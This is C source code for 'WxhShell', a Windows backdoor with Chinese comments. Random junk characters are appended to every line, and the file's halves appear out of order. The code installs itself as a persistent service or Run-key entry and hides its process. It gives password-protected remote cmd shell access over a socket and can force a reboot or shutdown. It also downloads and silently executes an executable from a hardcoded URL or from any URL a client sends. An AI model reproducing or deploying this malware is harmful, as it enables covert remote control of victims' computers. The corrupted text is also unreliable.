    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >vlQ|/C  
    if(Boot(SHUTDOWN)) ?. zu2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bK3B3r#$  
    else {  9t{|_G  
    closesocket(wsh); }FPM-M3y  
    ExitThread(0); {UB%(E[Mr  
    } HUj+-  
    break; paW'R+Rck  
    } N0=-7wMk(Z  
  // 获取shell CE~r4  
  case 's': { f%2%T'Q  
    CmdShell(wsh); "A%MVym."  
    closesocket(wsh); 9;=q=O/  
    ExitThread(0); U r^YG4(  
    break; C/F@ ]_y  
  } fd4;mc1T  
  // 退出 @&?a]>L  
  case 'x': { W|;nJs:e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C@%iQ]=  
    CloseIt(wsh); a*Rz<08  
    break; Ns'FH(:  
    } l <:`~\#  
  // 离开 "E.\6sC  
  case 'q': { saatU;V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K<c2PFo)Q  
    closesocket(wsh); y:Z$LmPc<  
    WSACleanup(); z{%oJ_  
    exit(1); y k?SD1hj  
    break; j7f5|^/x3  
        } Ll,I-BQ 9  
  } mHKJ  
  } t-_#Q bzE{  
XmP;L(wa   
  // 提示信息 avlqDi1l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I$n+DwKcN  
} ^>-+@+( r  
  } qtO1hZ  
PmHd9^C  
  return; ]de\i=?|  
} Ujf,6=M  
WPIZi[hBs  
// shell模块句柄 &9RH}zv6  
int CmdShell(SOCKET sock) A*hZv|$0  
{ T-^0:@5o9  
STARTUPINFO si; sr\cVv")  
ZeroMemory(&si,sizeof(si)); UanEzx%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $Jcq7E~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yKYl@&H/%  
PROCESS_INFORMATION ProcessInfo; @9aGz6k+  
char cmdline[]="cmd"; h{I`7X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gt'*B5F(  
  return 0; 47KNT7C  
} nh<Z1tMU  
GSP?X$E  
// 自身启动模式 YNI;h%w  
int StartFromService(void) yx2z%E  
{ YV-j/U{&  
typedef struct (i\)|c/a7  
{ a~,Kz\Tt  
  DWORD ExitStatus; F'1k<V?  
  DWORD PebBaseAddress; sMP:sCRC  
  DWORD AffinityMask; avg4K*vv  
  DWORD BasePriority; ^;+[8:Kb  
  ULONG UniqueProcessId; K!p,x;YX  
  ULONG InheritedFromUniqueProcessId; R }1W  
}   PROCESS_BASIC_INFORMATION; 0*/kGvw`i  
+,z) #  
PROCNTQSIP NtQueryInformationProcess; $%=G[/i'  
/ $_M@>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tj[c#@[B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Apmw6cc  
B_hPcmB  
  HANDLE             hProcess; iUTU*El>  
  PROCESS_BASIC_INFORMATION pbi; f~q4{  
L"^OdpOs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k=`$6(>Fz  
  if(NULL == hInst ) return 0; "CBRPp  
#BsW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6x/s|RWL1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }-74 f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9mDn KW  
"Kq>#I'%W  
  if (!NtQueryInformationProcess) return 0; FI$XSG  
g rspt}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t{zBC?c R  
  if(!hProcess) return 0; *jE;9^  
`]jqQr97  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o5SQ1;`   
myIe_k,F  
  CloseHandle(hProcess); W&YU^&`Yr  
OM)3Y6rK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V#L'7">VP  
if(hProcess==NULL) return 0; zW5C1:.3K  
b1xpz1  
HMODULE hMod; &))\2pl  
char procName[255]; |NJ}F@t/5  
unsigned long cbNeeded; vQgq]mA?  
BZ+;n |<r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6WeM rWx  
!p',Za   
  CloseHandle(hProcess); 7 \X$7  
&?y7I Pp  
if(strstr(procName,"services")) return 1; // 以服务启动 RkA8  
WI&lj<*  
  return 0; // 注册表启动 gw+eM,Yp  
} gfN2/TDC]P  
!zR)D|w&  
// 主模块 w#9_eq|3  
int StartWxhshell(LPSTR lpCmdLine) n'M>xq_  
{ w"~<h;  
  SOCKET wsl; \J3/keL  
BOOL val=TRUE; u%B&WwHG  
  int port=0; '1-maM\r  
  struct sockaddr_in door; =ewyQ  
:IZ"D40m"  
  if(wscfg.ws_autoins) Install(); g*J@[y;  
~x#vZ=]8  
port=atoi(lpCmdLine); N}x9N.  
|55dbL$w  
if(port<=0) port=wscfg.ws_port; JNi=`X&A  
"}zt`3  
  WSADATA data;  q=4Bny0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \k; n20\u  
i%F<AY\O)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z!_n_F k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n Q-mmY>#  
  door.sin_family = AF_INET; R,,Qt TGB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (`c G  
  door.sin_port = htons(port); :h*a rT4{  
<#*.}w~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3{ "O,h  
closesocket(wsl); .3X Y&6  
return 1; I 8z G~L%"  
} d:rGyA]  
$FX,zC<=  
  if(listen(wsl,2) == INVALID_SOCKET) { g`[$Xi R  
closesocket(wsl); IPtvuEju\  
return 1; >{nH v)  
} l'"'o~MC  
  Wxhshell(wsl); v0LGdX)/Y  
  WSACleanup();  prrT:Y  
nB] Ia?  
return 0; s`;f2B/|  
+~35G:&:  
} x-;`-Uo%  
t)a;/scT  
// 以NT服务方式启动 HdNnUDb$B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !0" nx{7.  
{ Z h'&-c_J  
DWORD   status = 0; d1G8*YO@  
  DWORD   specificError = 0xfffffff; H M:r0_  
Qihdn66  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VteEDL/w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; # {PmNx%M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ppN} k)m  
  serviceStatus.dwWin32ExitCode     = 0; 6R4<J% $P  
  serviceStatus.dwServiceSpecificExitCode = 0; ^R~~L  
  serviceStatus.dwCheckPoint       = 0; Q2QY* A  
  serviceStatus.dwWaitHint       = 0; f~ U.a.Fb  
>5ChcefH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s&Yi 6:J  
  if (hServiceStatusHandle==0) return; 8ObeiVXf)  
 f^b K=#  
status = GetLastError(); ^sClz*%?  
  if (status!=NO_ERROR) q>s`uFRg(  
{ iqPBsIW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '*T]fND4  
    serviceStatus.dwCheckPoint       = 0; LW:1/w&pv  
    serviceStatus.dwWaitHint       = 0; #/70!+J_UF  
    serviceStatus.dwWin32ExitCode     = status; (kw5>c7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 93o;n1rS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |He=LQ }0  
    return; "rNL `P7  
  } SSA W52xC  
C5 X(U :  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |.U)ll(c  
  serviceStatus.dwCheckPoint       = 0; q.V-LXM  
  serviceStatus.dwWaitHint       = 0; cUk*C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [*4fwk^  
} fZ{[]dn[  
|FNCXlgZ  
// 处理NT服务事件,比如:启动、停止 !#N\ b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N#k61x  
{ A)NkT`<)  
switch(fdwControl) 2`bdrRD0  
{ =RKSag&  
case SERVICE_CONTROL_STOP: f.xA_Y>  
  serviceStatus.dwWin32ExitCode = 0; 8dO?K*J,H'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E6A /SVp  
  serviceStatus.dwCheckPoint   = 0; ;[ 'a  
  serviceStatus.dwWaitHint     = 0; MesRa(  
  { ,o#kRWRG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |i7a@'0)  
  } iiC!|`k"  
  return; ))T>jh   
case SERVICE_CONTROL_PAUSE: WAPhv-6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S#l5y%&  
  break; p]T"|!d  
case SERVICE_CONTROL_CONTINUE: jvwwJ<K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D E/:['  
  break; E"PcrWB&  
case SERVICE_CONTROL_INTERROGATE: @cD uhK"U}  
  break; *?% k#S  
}; egR-w[{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QlZ@ To  
} ^ c%N/V \  
T.:+3:8|F  
// 标准应用程序主函数 osP\D iQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $l[Rh1z`;+  
{ ftbpqp'  
01@t~v3!Z  
// 获取操作系统版本 7 hw .B'7  
OsIsNt=GetOsVer(); 04@cLDX8uB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RHY4P4B<v>  
9 c3E+  
  // 从命令行安装 AMCyj`Ur  
  if(strpbrk(lpCmdLine,"iI")) Install(); nt :N!suP3  
T)iW`vZg8  
  // 下载执行文件 S4o$t -9l  
if(wscfg.ws_downexe) { tkKJh !Q7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uGP(R=H  
  WinExec(wscfg.ws_filenam,SW_HIDE); _aS;!6b8W  
} n.}T1q|l  
x3G:(YfO  
if(!OsIsNt) { xL "!~dN  
// 如果时win9x,隐藏进程并且设置为注册表启动 >SmV74[s2  
HideProc(); C NrII sJ  
StartWxhshell(lpCmdLine); []pN$]+c  
} #f,y&\Xmf  
else \2v"YVWw  
  if(StartFromService()) nv/[I,nw  
  // 以服务方式启动 Gh( A%x)  
  StartServiceCtrlDispatcher(DispatchTable); t ?eH'*>  
else @%ECj)u`O  
  // 普通方式启动 f'Mop= .  
  StartWxhshell(lpCmdLine); zGo|JF  
K\?]$dK5  
return 0; DBH#)4do@  
} &#{dWObh  
r6.d s^  
e":G*2a  
vGd1w%J-  
=========================================== &, a3@i  
9$*s8}|  
7<\C ?`q"  
C(?blv-vM0  
V-yUJ#f8[  
@'2m$a  
" +0$/y]k  
r%]Qlt ~K  
#include <stdio.h> Jh/ E@}'  
#include <string.h> X` YwP/D  
#include <windows.h> ]+ Ixi o  
#include <winsock2.h> \,G#<>S  
#include <winsvc.h> &2.u%[gO[q  
#include <urlmon.h> (R}ii}&  
5TKJWO.  
#pragma comment (lib, "Ws2_32.lib") OjE` 1h\  
#pragma comment (lib, "urlmon.lib") OS-f(qXd+  
3`.P'Fh(k  
#define MAX_USER   100 // 最大客户端连接数 4@  3[  
#define BUF_SOCK   200 // sock buffer % ZU/x d  
#define KEY_BUFF   255 // 输入 buffer 0#p/A^\#7M  
Wd,a?31|  
#define REBOOT     0   // 重启 2tQ`/!m>v$  
#define SHUTDOWN   1   // 关机 $&I 'o  
5g5'@vMN  
#define DEF_PORT   5000 // 监听端口 umEVy*hc  
qdD)e$XW,  
#define REG_LEN     16   // 注册表键长度 Q / x8 #X  
#define SVC_LEN     80   // NT服务名长度 ~aK?cP  
V A^l+Z,d  
// 从dll定义API pW\'Z Rj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )X+mV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [5d2D,)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  a*dQ _  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oMH.u^b]fT  
uZjC c M  
// wxhshell配置信息 c,\i"=!$  
struct WSCFG { ^eq</5q D  
  int ws_port;         // 监听端口 3,X/,'  
  char ws_passstr[REG_LEN]; // 口令 :Ixx<9c.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9"{W,'r&d  
  char ws_regname[REG_LEN]; // 注册表键名 j7QX ,_Q  
  char ws_svcname[REG_LEN]; // 服务名 `TLzVB-j3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {tP%epQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B2=\2<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o2H1N~e#c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G@ \Pi#1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g{k1&|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IZ,oM!Y  
|,C#:"z;  
}; uRV<?y%  
Av J4\  
// default Wxhshell configuration +~zXDBS9  
struct WSCFG wscfg={DEF_PORT, ~`MS~,,  
    "xuhuanlingzhe", k"UO c=   
    1, l:B;zi`)oB  
    "Wxhshell", L:nXWz  
    "Wxhshell", wucV_p.E  
            "WxhShell Service", *Nb#W!  
    "Wrsky Windows CmdShell Service", [tT8_}v$LN  
    "Please Input Your Password: ", LaFZ?7@|}  
  1, 22hSove.  
  "http://www.wrsky.com/wxhshell.exe", V<Z'(UI  
  "Wxhshell.exe" cR7wx 0Aj  
    }; 6=_~ 0PcY  
PyC0Q\$%  
// 消息定义模块 (?)7)5H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \;5\9B"i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }ET,ysa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,~PYt*X4  
char *msg_ws_ext="\n\rExit."; ;U =q-tb  
char *msg_ws_end="\n\rQuit."; $m$;v<PSe  
char *msg_ws_boot="\n\rReboot..."; vsB*rP=  
char *msg_ws_poff="\n\rShutdown..."; ;i uQ?MR3  
char *msg_ws_down="\n\rSave to "; . RVVWqW  
Njc%_&r  
char *msg_ws_err="\n\rErr!"; dhPKHrS  
char *msg_ws_ok="\n\rOK!"; XUMX*  
w&h 2y4  
char ExeFile[MAX_PATH]; &7mW9]  
int nUser = 0; ff? t[GS  
HANDLE handles[MAX_USER]; Rg&- 0b  
int OsIsNt; )}v 3q6?_  
R9vT[{!i  
SERVICE_STATUS       serviceStatus; )EM7,xMz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +!t}  
}CL"S_>1  
// 函数声明 &jA\hg#9  
int Install(void); *hhmTc#  
int Uninstall(void); l(W[_ D  
int DownloadFile(char *sURL, SOCKET wsh); 4Aes#{R3v  
int Boot(int flag); ,Dmc2D  
void HideProc(void); ]:]H:U]p  
int GetOsVer(void); +]xFoH  
int Wxhshell(SOCKET wsl); )P&9A)8  
void TalkWithClient(void *cs); y8Xv~4qQW  
int CmdShell(SOCKET sock); 5i6 hp;=  
int StartFromService(void); >B -q@D  
int StartWxhshell(LPSTR lpCmdLine); AIl4]F5I  
\5 pu|2u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fe&qwq"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \p&~ ,%  
B1 0+*p(  
// 数据结构和表定义 qZk'tRv  
SERVICE_TABLE_ENTRY DispatchTable[] = hi2sec|;<  
{ klOp ^w  
{wscfg.ws_svcname, NTServiceMain}, rnFM/GAy  
{NULL, NULL} c~,23wP1  
}; U'( sn  
}ucIH@U{  
// 自我安装 c{#yx_)V&  
int Install(void) \0;(VLN'U  
{ *O$CaAr\s  
  char svExeFile[MAX_PATH]; f|EUqu%E  
  HKEY key; 7v}x?I  
  strcpy(svExeFile,ExeFile); 2RtHg_d_l  
k8nLo.O  
// 如果是win9x系统,修改注册表设为自启动 u+9<&)X0  
if(!OsIsNt) { 4R%*Z ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {QaNAR=)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'm=*u SJK  
  RegCloseKey(key); 8OhDjWVJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7k%T<;V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5A Bhj*7  
  RegCloseKey(key); fIC9WbiH-  
  return 0; z2c5m  
    } M(q'%XL^  
  } 4EP<tV  
} DC+wD Bp;  
else { '(+<UpG_Q}  
8y';\(;  
// 如果是NT以上系统,安装为系统服务 v`[Eb27W.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N^0uit  
if (schSCManager!=0) i8X`HbmN  
{ ;Q0bT`/X  
  SC_HANDLE schService = CreateService :,pSWfK H  
  ( @ez Tbc3  
  schSCManager, ;$j7H&UNQj  
  wscfg.ws_svcname, #C*8X+._y  
  wscfg.ws_svcdisp, !LM<:kf.|  
  SERVICE_ALL_ACCESS, .0HZNWRtb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {04"LAE  
  SERVICE_AUTO_START, ygZ  #y L  
  SERVICE_ERROR_NORMAL, eL D?jTi'  
  svExeFile, q> :$c0JY  
  NULL, #.B"q:CW*P  
  NULL, =nUW'  
  NULL, [`=LTBt  
  NULL, #_  C  
  NULL &fP XU*l4  
  ); ~|Y>:M+0Z  
  if (schService!=0) Z(0@1l`Z-`  
  { .y5,x\Pq(  
  CloseServiceHandle(schService); ._:nw=Y0<}  
  CloseServiceHandle(schSCManager); g&/p*c_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f3*?MXxb16  
  strcat(svExeFile,wscfg.ws_svcname); l7[7_iB&E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .3pbuU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +?D6T!)  
  RegCloseKey(key); qf)$$qi  
  return 0; vC;]jJb:  
    } >XW*T5aUA  
  } $K~LM8_CKy  
  CloseServiceHandle(schSCManager); H( ^bC5'  
} $3+PbYY  
} m(OvD!  
 r}_c  
return 1; 'Yy&G\S  
} { >{B`e`$  
) iQ   
// 自我卸载 _>o-UBb4]T  
int Uninstall(void) w2(guL($  
{ 6$Q,Y}j  
  HKEY key; h( QYxI,|  
ITuq/qts]A  
if(!OsIsNt) { cF T 9Lnz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {4 >mc'dv  
  RegDeleteValue(key,wscfg.ws_regname); bEuaOBc  
  RegCloseKey(key); v0*N)eqDGd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \g)Xt?w0Wo  
  RegDeleteValue(key,wscfg.ws_regname); {1 J&xoV"  
  RegCloseKey(key); _#$9 y1bd  
  return 0; bucR">_p  
  } 7Ob*Yv=[  
} \6|/RFT  
} ,FQdtNMap  
else {  0IM8  
v]:=K-1n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }_.:+H!@  
if (schSCManager!=0) mZk0@C&:6  
{ 1m<RwI3s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qUF'{K   
  if (schService!=0) eKZ%2|+j!7  
  { v *hRz;  
  if(DeleteService(schService)!=0) { .] 4W!])9  
  CloseServiceHandle(schService); em@EDMvI  
  CloseServiceHandle(schSCManager); jZfx Jm  
  return 0; JwnAW}=  
  } f6<g3Q7Mu  
  CloseServiceHandle(schService); U4?(A@z9^  
  } m@Ev~~;  
  CloseServiceHandle(schSCManager); /BKe+]dS*  
} 7J$b$P0}  
} {0\,0*^p  
Y o0FUj  
return 1; De  *7OC  
} (n( fI f  
Tn-C>=tR~%  
// 从指定url下载文件 DdV'c@rq+  
int DownloadFile(char *sURL, SOCKET wsh) iyx>q!P  
{ o(A|)c4k  
  HRESULT hr; ;bu#8,  
char seps[]= "/"; T0HuqJty  
char *token; [jx0-3s:X  
char *file; }b3/b  
char myURL[MAX_PATH]; 1-SVCk -  
char myFILE[MAX_PATH]; \~rlgxd  
"+"{+k5t  
strcpy(myURL,sURL); "GT4s?6O  
  token=strtok(myURL,seps); @!=\R^#p  
  while(token!=NULL) {kI#A?M  
  { { Ng oYl  
    file=token; )+I.|5g  
  token=strtok(NULL,seps); ZBD;a;wx  
  } R_P}~l  
&Jc_Fc(M  
GetCurrentDirectory(MAX_PATH,myFILE); D.!~dyI.,$  
strcat(myFILE, "\\"); ytEC   
strcat(myFILE, file); GDaN  
  send(wsh,myFILE,strlen(myFILE),0); ^[:9fs  
send(wsh,"...",3,0); PrF}a<:n:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y+%sBqo @  
  if(hr==S_OK) n7aU<`U  
return 0; \b8sG"G  
else !X >=l  
return 1; ~iBgw&Y  
>>dm }X  
} {X]R-1>  
CLD-mx|?  
// 系统电源模块 _gNz9$S  
int Boot(int flag) 2U kK0ls  
{ rf+:=|/_3  
  HANDLE hToken; RNVbcd  
  TOKEN_PRIVILEGES tkp; ` D7C?M#j]  
"e3["'  
  if(OsIsNt) { "tit\a6\(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \h<BDk*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 89}Y5#W  
    tkp.PrivilegeCount = 1; gE/Tj$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fh7'[>onw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Y=![tO8  
if(flag==REBOOT) { 1B>Vt*=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FX <b:#  
  return 0; }!#gu3  
} W" "*ASi  
else { <3PL@orO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u),Qa=Wp  
  return 0; TjK{9A  
} YKZrEP 4^  
  } 7)rWw<mY  
  else { l7(!`NPbC  
if(flag==REBOOT) { gJt`?8t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6~:Sgt nU  
  return 0; Rx36?/  
} 07T70[G  
else { [36,eK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u]^N&2UW  
  return 0; [mxTa\  
} /76 1o\Q  
} Rr(* aC2P  
+!-~yf#RE  
return 1; h~U02"$  
} ~\nBjM2  
h5z)Lc^  
// win9x进程隐藏模块 y@bcYOh3  
void HideProc(void) PHg48Y"Nd  
{ et,GrL)l  
/e\{    
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z!QDTIb  
  if ( hKernel != NULL ) `+lHeLz':  
  { =bh*[ , -  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~H)4)r^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $v.C0 x  
    FreeLibrary(hKernel); 9_ICNG%  
  } M/PFPJ >`  
9n]|PEoAB  
return; ~s Qjl]  
} fqz28aHh  
Oh.ZPG=  
// 获取操作系统版本 *x~xWg9^  
int GetOsVer(void) 1RLY $M  
{ #yseiVm;  
  OSVERSIONINFO winfo; (LvS :?T}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ZPX]2D4B#  
  GetVersionEx(&winfo); ;wiao(t>4N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `?*%$>W#"  
  return 1; I|oT0y &  
  else (%CZ*L[9Z  
  return 0; wyx(FinIH  
} "Y`3DxXz  
T[k4lM  
// 客户端句柄模块 C;AA/4Ib  
int Wxhshell(SOCKET wsl) _s,ao '/  
{ wo2@hav  
  SOCKET wsh; `i ,_aFB|  
  struct sockaddr_in client; zHWSE7!  
  DWORD myID; ?B@;QjhjiJ  
mN `YuR~  
  while(nUser<MAX_USER) P47V:E%  
{ @ufo$?D  
  int nSize=sizeof(client);  9DQ)cy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TjWE_Bq]g  
  if(wsh==INVALID_SOCKET) return 1; DVZdClAL  
>!e<}84b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c97{Pu  
if(handles[nUser]==0) uaw~r2  
  closesocket(wsh); ?[TfpAtQ`  
else dCYCHHHF  
  nUser++; Zt -1h{7  
  } + Y.1)i}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _R|Ify#J  
B@Co'DV[/]  
  return 0; @r(Z%j7  
} I-D^>\k+  
:6J +%(f  
// 关闭 socket i>L+gLW  
void CloseIt(SOCKET wsh) XKL3RMF9r  
{ 3gWvmep1  
closesocket(wsh); aIy*pmpD=  
nUser--; kB:Uu }(=N  
ExitThread(0); -F&U  
} cHA7Kg !  
a`9L,8Ve  
// 客户端请求句柄 }TRAw#h  
void TalkWithClient(void *cs) 8eIUsI.o  
{ +'@+x'/{^  
h!@|RW&}qX  
  SOCKET wsh=(SOCKET)cs; <^.=>Q0 S\  
  char pwd[SVC_LEN]; }_tln  
  char cmd[KEY_BUFF]; `cz2DR-"  
char chr[1]; KAA-G2%M  
int i,j; [sV"ws  
}K1 0Po'  
  while (nUser < MAX_USER) { ^{$FI`P  
<`X"}I3 ba  
if(wscfg.ws_passstr) { v!3A9!.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #v#<itfFH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S>G?Q_&}?D  
  //ZeroMemory(pwd,KEY_BUFF); qL6c`(0  
      i=0; e<7.y#L  
  while(i<SVC_LEN) { YG:3Fhx0~  
%)jxW{  
  // 设置超时 rVvR!"//yH  
  fd_set FdRead; 5 hj  
  struct timeval TimeOut; VpfUm?Nq  
  FD_ZERO(&FdRead); [u@Jc,  
  FD_SET(wsh,&FdRead); Z 2}ah  
  TimeOut.tv_sec=8; Ft=zzoVKg  
  TimeOut.tv_usec=0; 'crlA~&#/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c5q9 LQ/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "]'?a$\ky:  
yw[#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +cJy._pi!  
  pwd=chr[0]; :a8 YV!X  
  if(chr[0]==0xd || chr[0]==0xa) { OV2 -8ERS  
  pwd=0; 6%`&+Lq  
  break; 'C$XS>S  
  } #1c]PX  
  i++; vr#+0:|  
    } -&82$mj  
T J^u"j-'  
  // 如果是非法用户,关闭 socket )M=ioE8`h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I&?Qq k  
} <99M@ cF  
"q}FPJ^l_N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bawJ$_O_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "xcX' F^  
jdKOb  
while(1) { I jr\5FA[p  
!g~1&Uw1  
  ZeroMemory(cmd,KEY_BUFF); 5Dp#u  
=4uSFK_L  
      // 自动支持客户端 telnet标准   kp?w2+rz  
  j=0; 1XG!$ 4DW  
  while(j<KEY_BUFF) { M7f;Pa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4p%A8%/q  
  cmd[j]=chr[0]; bn 6WjJ~Z+  
  if(chr[0]==0xa || chr[0]==0xd) { MUOa@O,  
  cmd[j]=0; bQe^Px5 !.  
  break; 4p;aS$Q  
  } 4v p  
  j++; ~/NKw:  
    } A,su;Q h  
i'd2[A.7I  
  // 下载文件 KKA~#iCk  
  if(strstr(cmd,"http://")) { |r ue=QZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vc^HVyAx@n  
  if(DownloadFile(cmd,wsh)) _0+0#! J!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6s,uXn  
  else ^@P1 JNe  
